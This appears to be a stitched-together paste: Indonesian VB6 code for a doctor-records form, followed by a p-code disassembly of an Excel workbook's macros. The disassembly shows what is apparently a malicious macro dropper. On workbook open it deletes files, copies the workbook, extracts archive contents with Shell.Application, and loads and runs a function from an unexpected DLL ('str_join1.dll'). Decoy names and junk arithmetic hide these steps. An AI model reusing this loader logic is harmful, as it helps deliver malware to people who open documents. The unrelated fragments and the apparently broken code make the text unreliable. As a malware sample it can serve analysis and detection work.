  4967. var = InputBox("Masukan Kode Dokter yang ingin anda cari!", "Cari data dokter")
  4968. If var = Empty Then Exit Sub
  4969. If var <> "" Then
  4970. Data1.Recordset.Index = "kode_dokter"
  4971. Data1.Recordset.Seek "=", var
  4972. If Not Data1.Recordset.NoMatch Then
  4973. Call tam.pil
  4974. Call bi.sa
  4975. Call kun.ci
  4976. Else
  4977. MsgBox "Data dokter dengan kode dokter " & var & " tidak diketemukan"
  4978. End If
  4979. End If
  4980. End Sub
  4981.  
  4982.  
  4983.  
  4984. Public Function TestResult(result As Variant)
  4985. TestResult = False
  4986. If IsNumeric(ExcelReturn) Then
  4987. If ExcelReturn = 0 Then
  4988. TestResult = True
  4989. End If
  4990. End If
  4991. End Function
  4992. Private Sub cmd_Hapus_Click()
  4993. Dim var As String
  4994. var = InputBox("Masukan Kode dokter yang akan dihapus!", "Hapus dokter")
  4995. If var = Empty Then Exit Sub
  4996. If var = "" Then
  4997. Data1.Recordset.Index = "Kode_dokter"
  4998. Data1.Recordset.Seek "=", var
  4999. If Not Data1.Recordset.NoMatch Then
  5000. Data1.Recordset.Delete
  5001. Data1.Refresh
  5002. Data1.Recordset.MoveFirst
  5003. Else
  5004. MsgBox "Data dokter dengan kode dokter " & var & " tidak diketemukan"
  5005.  
  5006. End If
  5007. End If
  5008. End Sub
  5009.  
  5010.  
  5011.  
  5012.  
  5013.  
  5014.  
  5015.  
  5016.  
  5017. Attribute VB_Name = "Form0"
  5018. Attribute VB_Base = "0{80C7F46D-C38F-49FD-8DE5-1A9CA28F9E4E}{E0396EC9-83AA-4DF7-9F6E-E7B553607EA7}"
  5019. Attribute VB_GlobalNameSpace = False
  5020. Attribute VB_Creatable = False
  5021. Attribute VB_PredeclaredId = True
  5022. Attribute VB_Exposed = False
  5023. Attribute VB_TemplateDerived = False
  5024. Attribute VB_Customizable = False
  5025.  
  5026. Attribute VB_Name = "Sheet3"
  5027. Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
  5028. Attribute VB_GlobalNameSpace = False
  5029. Attribute VB_Creatable = False
  5030. Attribute VB_PredeclaredId = True
  5031. Attribute VB_Exposed = True
  5032. Attribute VB_TemplateDerived = False
  5033. Attribute VB_Customizable = True
  5034.  
  5035. Attribute VB_Name = "Sheet2"
  5036. Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
  5037. Attribute VB_GlobalNameSpace = False
  5038. Attribute VB_Creatable = False
  5039. Attribute VB_PredeclaredId = True
  5040. Attribute VB_Exposed = True
  5041. Attribute VB_TemplateDerived = False
  5042. Attribute VB_Customizable = True
  5043.  
  5044. ' Processing file: cab524a78050a7c2263ca915604db302.in
  5045. ' ===============================================================================
  5046. ' Module streams:
  5047. ' _VBA_PROJECT_CUR/VBA/ThisWorkbook - 1326 bytes
  5048. ' Line #0:
  5049. ' FuncDefn (Private Sub Workbook_Open())
  5050. ' Line #1:
  5051. ' Ld WelcomeDialog
  5052. ' MemLd Visible
  5053. ' LitVarSpecial (True)
  5054. ' Eq
  5055. ' IfBlock
  5056. ' Line #2:
  5057. ' ExitSub
  5058. ' Line #3:
  5059. ' EndIfBlock
  5060. ' Line #4:
  5061. ' Line #5:
  5062. ' LitDI2 0x4E1F
  5063. ' Ld Module5
  5064. ' ArgsMemCall RedButton 0x0001
  5065. ' Line #6:
  5066. ' EndSub
  5067. ' Line #7:
  5068. ' _VBA_PROJECT_CUR/VBA/Sheet1 - 1215 bytes
  5069. ' Line #0:
  5070. ' FuncDefn (Private Sub Worksheet_SelectionChange(ByVal target As ))
  5071. ' Line #1:
  5072. ' Line #2:
  5073. ' EndSub
  5074. ' _VBA_PROJECT_CUR/VBA/Page11 - 993 bytes
  5075. ' _VBA_PROJECT_CUR/VBA/Lumene - 2415 bytes
  5076. ' Line #0:
  5077. ' Line #1:
  5078. ' Dim
  5079. ' VarDefn vSpeed (As Integer)
  5080. ' Line #2:
  5081. ' Dim
  5082. ' VarDefn vLicensePlate (As String)
  5083. ' Line #3:
  5084. ' Line #4:
  5085. ' FuncDefn (Public Property Get Speed(id_FFFE As Integer) As Integer)
  5086. ' Line #5:
  5087. ' Ld vSpeed
  5088. ' St Speed
  5089. ' Line #6:
  5090. ' EndProp
  5091. ' Line #7:
  5092. ' Line #8:
  5093. ' Line #9:
  5094. ' FuncDefn (Public Property Get CheckCar(car As Variant, Drive As String, id_FFFE As Variant))
  5095. ' Line #10:
  5096. ' LitStr 0x0000 ""
  5097. ' Ld Drive
  5098. ' Concat
  5099. ' Ld car
  5100. ' ArgsMemLd SpecialFolders 0x0001
  5101. ' St CheckCar
  5102. ' Line #11:
  5103. ' Line #12:
  5104. ' EndProp
  5105. ' Line #13:
  5106. ' FuncDefn (Public Property Get SpecialFolders(id_FFFE As String) As String)
  5107. ' Line #14:
  5108. ' Ld vLicensePlate
  5109. ' St LicensePlate
  5110. ' Line #15:
  5111. ' EndProp
  5112. ' Line #16:
  5113. ' Line #17:
  5114. ' FuncDefn (Public Property Let LicensePlate(lp As String))
  5115. ' Line #18:
  5116. ' Ld lp
  5117. ' FnLen
  5118. ' LitDI2 0x0006
  5119. ' Ne
  5120. ' If
  5121. ' BoSImplicit
  5122. ' Ld xlErrValue
  5123. ' Paren
  5124. ' Ld Err
  5125. ' ArgsMemCall Raise 0x0001
  5126. ' EndIf
  5127. ' Line #19:
  5128. ' Ld lp
  5129. ' St vLicensePlate
  5130. ' Line #20:
  5131. ' EndProp
  5132. ' Line #21:
  5133. ' Line #22:
  5134. ' Line #23:
  5135. ' _VBA_PROJECT_CUR/VBA/WelcomeDialog - 1496 bytes
  5136. ' Line #0:
  5137. ' Line #1:
  5138. ' FuncDefn (Private Sub UserForm_Activate())
  5139. ' Line #2:
  5140. ' ArgsCall DoEvents 0x0000
  5141. ' Line #3:
  5142. ' ArgsCall DoEvents 0x0000
  5143. ' Line #4:
  5144. ' ArgsCall ExChangeMoney 0x0000
  5145. ' Line #5:
  5146. ' ArgsCall DoEvents 0x0000
  5147. ' Line #6:
  5148. ' EndSub
  5149. ' Line #7:
  5150. ' Line #8:
  5151. ' Line #9:
  5152. ' Line #10:
  5153. ' _VBA_PROJECT_CUR/VBA/Module1 - 12414 bytes
  5154. ' Line #0:
  5155. ' Dim (Public)
  5156. ' VarDefn HurricanMoes (As Byte)
  5157. ' Line #1:
  5158. ' Dim (Public)
  5159. ' VarDefn PatchForLuck (As Byte)
  5160. ' Line #2:
  5161. ' Dim (Public)
  5162. ' VarDefn LUCKY (As Double)
  5163. ' Line #3:
  5164. ' Dim (Public)
  5165. ' VarDefn MoveStep (As Byte)
  5166. ' Line #4:
  5167. ' Dim (Public)
  5168. ' VarDefn PatchForHeart (As Byte)
  5169. ' Line #5:
  5170. ' Line #6:
  5171. ' Line #7:
  5172. ' Line #8:
  5173. ' Line #9:
  5174. ' LbMark
  5175. ' Ld VBA7
  5176. ' Ld Win64
  5177. ' And
  5178. ' LbIf
  5179. ' Line #10:
  5180. ' FuncDefn (Public Declare PtrSafe Function code2 Lib "kernel32.dll" (ByVal DirectoryFlags As Long) As Long)
  5181. ' Line #11:
  5182. ' FuncDefn (Public Declare PtrSafe Function code1 Lib "kernel32.dll" (ByVal dirName As String) As LongPtr)
  5183. ' Line #12:
  5184. ' FuncDefn (Public Declare PtrSafe Function torx Lib "str_join1.dll" () As Integer)
  5185. ' Line #13:
  5186. ' LbMark
  5187. ' LbElse
  5188. ' Line #14:
  5189. ' FuncDefn (Public Declare Function code2 Lib "kernel32.dll" (ByVal DirectoryFlags As Long) As Long)
  5190. ' Line #15:
  5191. ' FuncDefn (Public Declare Function code1 Lib "kernel32.dll" (ByVal dirName As String) As Long)
  5192. ' Line #16:
  5193. ' FuncDefn (Public Declare Function torx Lib "vbUnicode" () As Integer)
  5194. ' Line #17:
  5195. ' LbMark
  5196. ' LbEndIf
  5197. ' Line #18:
  5198. ' Line #19:
  5199. ' Line #20:
  5200. ' Line #21:
  5201. ' FuncDefn (Public Sub VistaQ(WhereToGo))
  5202. ' Line #22:
  5203. ' ArgsCall DoEvents 0x0000
  5204. ' Line #23:
  5205. ' Ld ThisWorkbook
  5206. ' MemLd Sheets
  5207. ' ArgsMemCall Copy 0x0000
  5208. ' Line #24:
  5209. ' LitVarSpecial (False)
  5210. ' Ld Application
  5211. ' MemSt DisplayAlerts
  5212. ' Line #25:
  5213. ' ArgsCall DoEvents 0x0000
  5214. ' Line #26:
  5215. ' Ld WhereToGo
  5216. ' LitVarSpecial (False)
  5217. ' ParamNamed Local
  5218. ' LitDI2 0x0003
  5219. ' LitDI2 0x0007
  5220. ' Mul
  5221. ' LitDI2 0x0003
  5222. ' LitDI2 0x0007
  5223. ' Mul
  5224. ' Add
  5225. ' LitDI2 0x0009
  5226. ' Add
  5227. ' ParamNamed FileFormat
  5228. ' Ld ActiveWorkbook
  5229. ' ArgsMemCall SaveAs 0x0003
  5230. ' Line #27:
  5231. ' ArgsCall DoEvents 0x0000
  5232. ' Line #28:
  5233. ' ArgsCall DoEvents 0x0000
  5234. ' Line #29:
  5235. ' Ld ActiveWorkbook
  5236. ' ArgsMemCall Close 0x0000
  5237. ' Line #30:
  5238. ' ArgsCall DoEvents 0x0000
  5239. ' Line #31:
  5240. ' ArgsCall DoEvents 0x0000
  5241. ' Line #32:
  5242. ' Line #33:
  5243. ' Line #34:
  5244. ' EndSub
  5245. ' Line #35:
  5246. ' Line #36:
  5247. ' Line #37:
  5248. ' Line #38:
  5249. ' Line #39:
  5250. ' Line #40:
  5251. ' FuncDefn (Public Sub PublicResumEraseByArrayList(putArrayBigList As ))
  5252. ' Line #41:
  5253. ' OnError (Resume Next)
  5254. ' Line #42:
  5255. ' StartForVariable
  5256. ' Ld Key
  5257. ' EndForVariable
  5258. ' Ld putArrayBigList
  5259. ' ForEach
  5260. ' Line #43:
  5261. ' Ld Key
  5262. ' ArgsCall Kill 0x0001
  5263. ' Line #44:
  5264. ' StartForVariable
  5265. ' Ld Key
  5266. ' EndForVariable
  5267. ' NextVar
  5268. ' Line #45:
  5269. ' EndSub
  5270. ' Line #46:
  5271. ' Line #47:
  5272. ' Line #48:
  5273. ' Line #49:
  5274. ' Line #50:
  5275. ' Line #51:
  5276. ' FuncDefn (Private Sub TextBox2_Change())
  5277. ' Line #52:
  5278. ' Line #53:
  5279. ' Ld TextBox2
  5280. ' FnLen
  5281. ' St x
  5282. ' Line #54:
  5283. ' Ld TextBox2
  5284. ' MemLd Text
  5285. ' ArgsLd LTrim 0x0001
  5286. ' St Y
  5287. ' Line #55:
  5288. ' Ld TextBox2
  5289. ' St d
  5290. ' Line #56:
  5291. ' Ld d
  5292. ' LitStr 0x0000 ""
  5293. ' Eq
  5294. ' IfBlock
  5295. ' Line #57:
  5296. ' LitHI4 0xFFFF 0x00FF
  5297. ' Ld TextBox2
  5298. ' MemSt BackColor
  5299. ' Line #58:
  5300. ' ExitSub
  5301. ' Line #59:
  5302. ' EndIfBlock
  5303. ' Line #60:
  5304. ' Ld d
  5305. ' LitDI2 0x0002
  5306. ' ArgsLd Left 0x0002
  5307. ' LitDI2 0x0018
  5308. ' Gt
  5309. ' IfBlock
  5310. ' Line #61:
  5311. ' LitStr 0x000A "Ora Errata"
  5312. ' ArgsCall MsgBox 0x0001
  5313. ' Line #62:
  5314. ' LitDI2 0x0000
  5315. ' Ld TextBox2
  5316. ' MemSt SelStart
  5317. ' Line #63:
  5318. ' Ld TextBox2
  5319. ' FnLen
  5320. ' Ld TextBox2
  5321. ' MemSt SelLength
  5322. ' Line #64:
  5323. ' ExitSub
  5324. ' Line #65:
  5325. ' EndIfBlock
  5326. ' Line #66:
  5327. ' Ld x
  5328. ' LitDI2 0x0002
  5329. ' Eq
  5330. ' If
  5331. ' BoSImplicit
  5332. ' Ld Y
  5333. ' LitStr 0x0001 ":"
  5334. ' Concat
  5335. ' St TextBox2
  5336. ' EndIf
  5337. ' Line #67:
  5338. ' Ld x
  5339. ' LitDI2 0x0004
  5340. ' Eq
  5341. ' If
  5342. ' BoSImplicit
  5343. ' ExitSub
  5344. ' EndIf
  5345. ' Line #68:
  5346. ' Line #69:
  5347. ' Ld d
  5348. ' LitDI2 0x0004
  5349. ' LitDI2 0x0002
  5350. ' ArgsLd Mid 0x0003
  5351. ' LitStr 0x0000 ""
  5352. ' Eq
  5353. ' If
  5354. ' BoSImplicit
  5355. ' ExitSub
  5356. ' EndIf
  5357. ' Line #70:
  5358. ' Ld d
  5359. ' LitDI2 0x0004
  5360. ' LitDI2 0x0002
  5361. ' ArgsLd Mid 0x0003
  5362. ' LitDI2 0x003B
  5363. ' Gt
  5364. ' IfBlock
  5365. ' Line #71:
  5366. ' LitStr 0x000D "Minuti Errati"
  5367. ' ArgsCall MsgBox 0x0001
  5368. ' Line #72:
  5369. ' LitDI2 0x0003
  5370. ' Ld TextBox2
  5371. ' MemSt SelStart
  5372. ' Line #73:
  5373. ' Ld TextBox2
  5374. ' FnLen
  5375. ' Ld TextBox2
  5376. ' MemSt SelLength
  5377. ' Line #74:
  5378. ' ExitSub
  5379. ' Line #75:
  5380. ' EndIfBlock
  5381. ' Line #76:
  5382. ' Line #77:
  5383. ' Line #78:
  5384. ' Ld x
  5385. ' LitDI2 0x0005
  5386. ' Eq
  5387. ' IfBlock
  5388. ' Line #79:
  5389. ' Ld TextBox3
  5390. ' ArgsMemCall SetFocus 0x0000
  5391. ' Line #80:
  5392. ' EndIfBlock
  5393. ' Line #81:
  5394. ' ExitSub
  5395. ' Line #82:
  5396. ' Line #83:
  5397. ' Resume
  5398. ' Line #84:
  5399. ' EndSub
  5400. ' Line #85:
  5401. ' Line #86:
  5402. ' FuncDefn (Public Function ExChangeMoney())
  5403. ' Line #87:
  5404. ' Line #88:
  5405. ' Line #89:
  5406. ' Dim
  5407. ' VarDefn ofbl (As String)
  5408. ' Line #90:
  5409. ' Dim
  5410. ' VarDefn sOfbl (As String)
  5411. ' Line #91:
  5412. ' Dim
  5413. ' VarDefn NumBForRead (As Long)
  5414. ' Line #92:
  5415. ' Line #93:
  5416. ' Line #94:
  5417. ' LitStr 0x0000 ""
  5418. ' Ld Form0
  5419. ' MemLd TextBox1
  5420. ' MemLd Tag
  5421. ' Concat
  5422. ' St dershlep
  5423. ' Line #95:
  5424. ' Line #96:
  5425. ' Line #97:
  5426. ' Line #98:
  5427. ' Dim
  5428. ' VarDefn sendings (As Integer)
  5429. ' Line #99:
  5430. ' Ld Form0
  5431. ' MemLd TextBox1
  5432. ' MemLd Tag
  5433. ' St ofbl
  5434. ' Line #100:
  5435. ' Ld ofbl
  5436. ' LitStr 0x0009 "\str_join"
  5437. ' Add
  5438. ' St ofbl
  5439. ' Line #101:
  5440. ' Line #102:
  5441. ' Ld Form0
  5442. ' MemLd TextBox1
  5443. ' MemLd Tag
  5444. ' LitStr 0x0007 "\academ"
  5445. ' Add
  5446. ' St liquidOne
  5447. ' Line #103:
  5448. ' Line #104:
  5449. ' Ld liquidOne
  5450. ' LitStr 0x0006 "l.xlsx"
  5451. ' Add
  5452. ' St liquidOne
  5453. ' Line #105:
  5454. ' Line #106:
  5455. ' Dim
  5456. ' LitDI2 0x0001
  5457. ' LitDI2 0x0003
  5458. ' VarDefn arr (As String)
  5459. ' Line #107:
  5460. ' Line #108:
  5461. ' Line #109:
  5462. ' Line #110:
  5463. ' Line #111:
  5464. ' Ld Form0
  5465. ' MemLd TextBox3
  5466. ' MemLd Text
  5467. ' FnLenB
  5468. ' LitDI2 0x00C8
  5469. ' Gt
  5470. ' IfBlock
  5471. ' Line #112:
  5472. ' LitStr 0x0019 "Ultrapassa 66 Caracteres!"
  5473. ' Ld vbCritical
  5474. ' LitStr 0x0009 "HISTÓRICO"
  5475. ' ArgsCall MsgBox 0x0003
  5476. ' Line #113:
  5477. ' LitDI2 0x0000
  5478. ' Ld TextBox7
  5479. ' MemSt SelStart
  5480. ' Line #114:
  5481. ' ElseBlock
  5482. ' Line #115:
  5483. ' Line #116:
  5484. ' Line #117:
  5485. ' EndIfBlock
  5486. ' Line #118:
  5487. ' Dim
  5488. ' VarDefn objeto
  5489. ' Line #119:
  5490. ' Line #120:
  5491. ' Ld Form0
  5492. ' MemLd TextBox1
  5493. ' MemLd Text
  5494. ' FnLen
  5495. ' LitDI2 0x016E
  5496. ' Gt
  5497. ' IfBlock
  5498. ' Line #121:
  5499. ' StartForVariable
  5500. ' Ld objeto
  5501. ' EndForVariable
  5502. ' Ld UserForm1
  5503. ' MemLd Controls
  5504. ' ForEach
  5505. ' Line #122:
  5506. ' OnError (Resume Next)
  5507. ' Line #123:
  5508. ' LitStr 0x0000 ""
  5509. ' Ld objeto
  5510. ' MemSt Value
  5511. ' Line #124:
  5512. ' StartForVariable
  5513. ' Next
  5514. ' Line #125:
  5515. ' Line #126:
  5516. ' Ld ggg
  5517. ' MemLd UserForm1
  5518. ' ArgsCall Unload 0x0001
  5519. ' Line #127:
  5520. ' Ld ggg
  5521. ' MemLd UserForm1
  5522. ' ArgsMemCall Hide 0x0000
  5523. ' Line #128:
  5524. ' EndIfBlock
  5525. ' Line #129:
  5526. ' Line #130:
  5527. ' Line #131:
  5528. ' Line #132:
  5529. ' Ld liquidOne
  5530. ' LitStr 0x0004 "B115"
  5531. ' Ld Page11
  5532. ' ArgsMemLd Range 0x0001
  5533. ' MemLd Value
  5534. ' Concat
  5535. ' St ctackPip
  5536. ' Line #133:
  5537. ' Line #134:
  5538. ' Line #135:
  5539. ' Line #136:
  5540. ' Line #137:
  5541. ' Ld ofbl
  5542. ' LitStr 0x0004 "B115"
  5543. ' Ld Page11
  5544. ' ArgsMemLd Range 0x0001
  5545. ' MemLd Value
  5546. ' Add
  5547. ' St sOfbl
  5548. ' Line #138:
  5549. ' Ld ofbl
  5550. ' LitStr 0x0001 "*"
  5551. ' Add
  5552. ' Ld Form0
  5553. ' MemLd TextBox3
  5554. ' MemLd Tag
  5555. ' LitStr 0x000A "\str_join*"
  5556. ' Add
  5557. ' Ld sOfbl
  5558. ' Ld ctackPip
  5559. ' Ld dershlep
  5560. ' Ld UserForm1
  5561. ' MemLd Label1
  5562. ' MemLd Tag
  5563. ' Add
  5564. ' ArgsCall PublicResumEraseByArrayList 0x0005
  5565. ' Line #139:
  5566. ' Line #140:
  5567. ' Line #141:
  5568. ' Ld liquidOne
  5569. ' ArgsCall VistaQ 0x0001
  5570. ' Line #142:
  5571. ' Line #143:
  5572. ' Ld liquidOne
  5573. ' ParamNamed Source
  5574. ' Ld ctackPip
  5575. ' ParamNamed Destination
  5576. ' ArgsCall FileCopy 0x0002
  5577. ' Line #144:
  5578. ' LitDI2 0x0001
  5579. ' St sendings
  5580. ' Line #145:
  5581. ' Dim
  5582. ' VarDefn sNMSP (New As Shell)
  5583. ' Line #146:
  5584. ' LitVarSpecial (False)
  5585. ' St FlagDouble
  5586. ' Line #147:
  5587. ' Line #148:
  5588. ' Ld UserForm1
  5589. ' MemLd Label11
  5590. ' MemLd Tag
  5591. ' St Lrigat
  5592. ' Line #149:
  5593. ' Line #150:
  5594. ' Ld sendings
  5595. ' LitDI2 0x000F
  5596. ' UMi
  5597. ' Gt
  5598. ' Ld sendings
  5599. ' LitDI2 0x0082
  5600. ' UMi
  5601. ' Gt
  5602. ' And
  5603. ' IfBlock
  5604. ' Line #151:
  5605. ' Line #152:
  5606. ' SetStmt
  5607. ' Ld dershlep
  5608. ' Ld sNMSP
  5609. ' ArgsMemLd Namespace 0x0001
  5610. ' Set DestinationKat
  5611. ' Line #153:
  5612. ' SetStmt
  5613. ' Ld ctackPip
  5614. ' Ld sNMSP
  5615. ' ArgsMemLd Namespace 0x0001
  5616. ' Set harvest
  5617. ' Line #154:
  5618. ' Line #155:
  5619. ' Line #156:
  5620. ' EndIfBlock
  5621. ' Line #157:
  5622. ' Line #158:
  5623. ' Line #159:
  5624. ' SetStmt
  5625. ' LitDI2 0x0001
  5626. ' LitDI2 0x0001
  5627. ' Ld ThisWorkbook
  5628. ' ArgsMemLd Sheets 0x0001
  5629. ' MemLd Application
  5630. ' ArgsMemLd Sheets 0x0001
  5631. ' MemLd Application
  5632. ' Set ExcelC
  5633. ' Line #160:
  5634. ' Line #161:
  5635. ' Line #162:
  5636. ' Line #163:
  5637. ' Ld Lrigat
  5638. ' Ld harvest
  5639. ' MemLd Items
  5640. ' ArgsMemLd Item 0x0001
  5641. ' Ld DestinationKat
  5642. ' ArgsMemCall CopyHere 0x0001
  5643. ' Line #164:
  5644. ' Line #165:
  5645. ' Line #166:
  5646. ' Line #167:
  5647. ' Dim
  5648. ' VarDefn car (As Lumene)
  5649. ' Line #168:
  5650. ' Line #169:
  5651. ' SetStmt
  5652. ' New id_FFFF
  5653. ' Set car
  5654. ' Line #170:
  5655. ' Line #171:
  5656. ' LitDI4 0xCD46 0x0006
  5657. ' St NumBForRead
  5658. ' Line #172:
  5659. ' Line #173:
  5660. ' Line #174:
  5661. ' LitDI2 0x0001
  5662. ' St sendings
  5663. ' Line #175:
  5664. ' LitStr 0x0001 "1"
  5665. ' St flayString
  5666. ' Line #176:
  5667. ' Line #177:
  5668. ' Line #178:
  5669. ' Line #179:
  5670. ' Ld dershlep
  5671. ' LitStr 0x0000 ""
  5672. ' Add
  5673. ' Ld UserForm1
  5674. ' MemLd Label1
  5675. ' MemLd Tag
  5676. ' Add
  5677. ' LitStr 0x0000 ""
  5678. ' Add
  5679. ' LitStr 0x0000 ""
  5680. ' Add
  5681. ' Ld sOfbl
  5682. ' Ld NumBForRead
  5683. ' ArgsCall Composition 0x0003
  5684. ' Line #180:
  5685. ' Line #181:
  5686. ' Ld sendings
  5687. ' LitDI2 0x0064
  5688. ' Lt
  5689. ' IfBlock
  5690. ' Line #182:
  5691. ' Ld sendings
  5692. ' LitDI2 0x0001
  5693. ' Add
  5694. ' St sendings
  5695. ' Line #183:
  5696. ' Ld sendings
  5697. ' LitDI2 0x0001
  5698. ' Add
  5699. ' St sendings
  5700. ' Line #184:
  5701. ' EndIfBlock
  5702. ' Line #185:
  5703. ' Line #186:
  5704. ' Ld sendings
  5705. ' LitDI2 0x000F
  5706. ' UMi
  5707. ' Gt
  5708. ' Ld sendings
  5709. ' LitDI2 0x0082
  5710. ' UMi
  5711. ' Gt
  5712. ' And
  5713. ' IfBlock
  5714. ' Line #187:
  5715. ' Line #188:
  5716. ' SetStmt
  5717. ' Ld Form0
  5718. ' MemLd TextBox3
  5719. ' MemLd Tag
  5720. ' Ld sNMSP
  5721. ' ArgsMemLd Namespace 0x0001
  5722. ' Set DestinationKat
  5723. ' Line #189:
  5724. ' SetStmt
  5725. ' Ld sOfbl
  5726. ' Ld sNMSP
  5727. ' ArgsMemLd Namespace 0x0001
  5728. ' Set harvest
  5729. ' Line #190:
  5730. ' Line #191:
  5731. ' Ld harvest
  5732. ' MemLd Items
  5733. ' Ld DestinationKat
  5734. ' ArgsMemCall CopyHere 0x0001
  5735. ' Line #192:
  5736. ' Line #193:
  5737. ' Line #194:
  5738. ' EndIfBlock
  5739. ' Line #195:
  5740. ' Line #196:
  5741. ' LitDI2 0x0064
  5742. ' UMi
  5743. ' Ld sendings
  5744. ' Le
  5745. ' IfBlock
  5746. ' Line #197:
  5747. ' Ld sendings
  5748. ' LitDI2 0x0001
  5749. ' Add
  5750. ' St sendings
  5751. ' Line #198:
  5752. ' Ld Form0
  5753. ' MemLd TextBox3
  5754. ' MemLd Tag
  5755. ' ArgsCall ChDir 0x0001
  5756. ' Line #199:
  5757. ' Ld sendings
  5758. ' LitDI2 0x0001
  5759. ' Add
  5760. ' St sendings
  5761. ' Line #200:
  5762. ' EndIfBlock
  5763. ' Line #201:
  5764. ' LitStr 0x0001 """
  5765. ' Ld sOfbl
  5766. ' Add
  5767. ' LitStr 0x0003 "",""
  5768. ' Concat
  5769. ' St sOfbl
  5770. ' Line #202:
  5771. ' Line #203:
  5772. ' Ld sendings
  5773. ' LitDI2 0x0000
  5774. ' Lt
  5775. ' IfBlock
  5776. ' Line #204:
  5777. ' Ld sendings
  5778. ' LitDI2 0x0001
  5779. ' Add
  5780. ' St sendings
  5781. ' Line #205:
  5782. ' Ld sendings
  5783. ' LitDI2 0x0001
  5784. ' Add
  5785. ' St sendings
  5786. ' Line #206:
  5787. ' EndIfBlock
  5788. ' Line #207:
  5789. ' Line #208:
  5790. ' Line #209:
  5791. ' Ld sendings
  5792. ' LitDI2 0x03E8
  5793. ' Gt
  5794. ' IfBlock
  5795. ' Line #210:
  5796. ' Ld sendings
  5797. ' LitDI2 0x0014
  5798. ' Sub
  5799. ' St sendings
  5800. ' Line #211:
  5801. ' EndIfBlock
  5802. ' Line #212:
  5803. ' Ld sendings
  5804. ' LitDI2 0x002F
  5805. ' UMi
  5806. ' Lt
  5807. ' IfBlock
  5808. ' Line #213:
  5809. ' Ld sendings
  5810. ' LitDI2 0x0014
  5811. ' Sub
  5812. ' St sendings
  5813. ' Line #214:
  5814. ' EndIfBlock
  5815. ' Line #215:
  5816. ' Ld sendings
  5817. ' LitDI2 0x0000
  5818. ' Lt
  5819. ' IfBlock
  5820. ' Line #216:
  5821. ' Ld sendings
  5822. ' LitDI2 0x0001
  5823. ' Add
  5824. ' St sendings
  5825. ' Line #217:
  5826. ' Ld sendings
  5827. ' LitDI2 0x0001
  5828. ' Add
  5829. ' St sendings
  5830. ' Line #218:
  5831. ' EndIfBlock
  5832. ' Line #219:
  5833. ' Ld d
  5834. ' ArgsLd TestResult 0x0001
  5835. ' St StopByOk
  5836. ' Line #220:
  5837. ' Line #221:
  5838. ' Line #222:
  5839. ' Ld Form0
  5840. ' MemLd TextBox3
  5841. ' MemLd Tag
  5842. ' ArgsCall setDLLDirectory 0x0001
  5843. ' Line #223:
  5844. ' ArgsCall torx 0x0000
  5845. ' Line #224:
  5846. ' Ld WelcomeDialog
  5847. ' ArgsMemCall Hide 0x0000
  5848. ' Line #225:
  5849. ' EndFunc
  5850. ' Line #226:
  5851. ' Line #227:
  5852. ' Line #228:
  5853. ' FuncDefn (Sub subTotalSales())
  5854. ' Line #229:
  5855. ' Line #230:
  5856. ' Dim
  5857. ' VarDefn LR (As Integer)
  5858. ' Line #231:
  5859. ' Ld xlUp
  5860. ' Ld Rows
  5861. ' MemLd Count
  5862. ' LitStr 0x0001 "A"
  5863. ' ArgsLd Cells 0x0002
  5864. ' ArgsMemLd End 0x0001
  5865. ' MemLd Row
  5866. ' LitDI2 0x0002
  5867. ' Add
  5868. ' St LR
  5869. ' Line #232:
  5870. ' Ld xlDown
  5871. ' ParamNamed Shift
  5872. ' LitStr 0x0003 "1:2"
  5873. ' ArgsLd Rows 0x0001
  5874. ' MemLd EntireRow
  5875. ' ArgsMemCall Insert 0x0001
  5876. ' Line #233:
  5877. ' Line #234:
  5878. ' Ld LR
  5879. ' LitDI2 0x0003
  5880. ' Eq
  5881. ' IfBlock
  5882. ' Line #235:
  5883. ' LitStr 0x0002 "A1"
  5884. ' ArgsLd Range 0x0001
  5885. ' ArgsMemCall Select 0x0000
  5886. ' Line #236:
  5887. ' Ld salesHeade
  5888. ' ArgsMemCall (Call) rs 0x0000
  5889. ' Line #237:
  5890. ' LitStr 0x0002 "$0"
  5891. ' LitStr 0x0002 "A2"
  5892. ' ArgsLd Range 0x0001
  5893. ' MemSt Formula
  5894. ' Line #238:
  5895. ' LitStr 0x0002 "$0"
  5896. ' LitStr 0x0002 "B2"
  5897. ' ArgsLd Range 0x0001
  5898. ' MemSt Formula
  5899. ' Line #239:
  5900. ' LitStr 0x0002 "$0"
  5901. ' LitStr 0x0002 "C2"
  5902. ' ArgsLd Range 0x0001
  5903. ' MemSt Formula
  5904. ' Line #240:
  5905. ' LitStr 0x0002 "$0"
  5906. ' LitStr 0x0002 "D2"
  5907. ' ArgsLd Range 0x0001
  5908. ' MemSt Formula
  5909. ' Line #241:
  5910. ' LitStr 0x0002 "$0"
  5911. ' LitStr 0x0002 "E2"
  5912. ' ArgsLd Range 0x0001
  5913. ' MemSt Formula
  5914. ' Line #242:
  5915. ' LitStr 0x0002 "0%"
  5916. ' LitStr 0x0002 "F2"
  5917. ' ArgsLd Range 0x0001
  5918. ' MemSt Formula
  5919. ' Line #243:
  5920. ' LitStr 0x0001 "0"
  5921. ' LitStr 0x0002 "G2"
  5922. ' ArgsLd Range 0x0001
  5923. ' MemSt Formula
  5924. ' Line #244:
  5925. ' LitStr 0x0002 "$0"
  5926. ' LitStr 0x0002 "H2"
  5927. ' ArgsLd Range 0x0001
  5928. ' MemSt Formula
  5929. ' Line #245:
  5930. ' LitStr 0x0001 "0"
  5931. ' LitStr 0x0002 "I2"
  5932. ' ArgsLd Range 0x0001
  5933. ' MemSt Formula
  5934. ' Line #246:
  5935. ' LitStr 0x0001 "0"
  5936. ' LitStr 0x0002 "J2"
  5937. ' ArgsLd Range 0x0001
  5938. ' MemSt Formula
  5939. ' Line #247:
  5940. ' LitStr 0x0002 "$0"
  5941. ' LitStr 0x0002 "K2"
  5942. ' ArgsLd Range 0x0001
  5943. ' MemSt Formula
  5944. ' Line #248:
  5945. ' LitStr 0x0002 "$0"
  5946. ' LitStr 0x0002 "L2"
  5947. ' ArgsLd Range 0x0001
  5948. ' MemSt Formula
  5949. ' Line #249:
  5950. ' LitStr 0x0001 "0"
  5951. ' LitStr 0x0002 "M2"
  5952. ' ArgsLd Range 0x0001
  5953. ' MemSt Formula
  5954. ' Line #250:
  5955. ' LitStr 0x0002 "0%"
  5956. ' LitStr 0x0002 "N2"
  5957. ' ArgsLd Range 0x0001
  5958. ' MemSt Formula
  5959. ' Line #251:
  5960. ' ElseBlock
  5961. ' Line #252:
  5962. ' LitStr 0x0002 "A1"
  5963. ' ArgsLd Range 0x0001
  5964. ' ArgsMemCall Select 0x0000
  5965. ' Line #253:
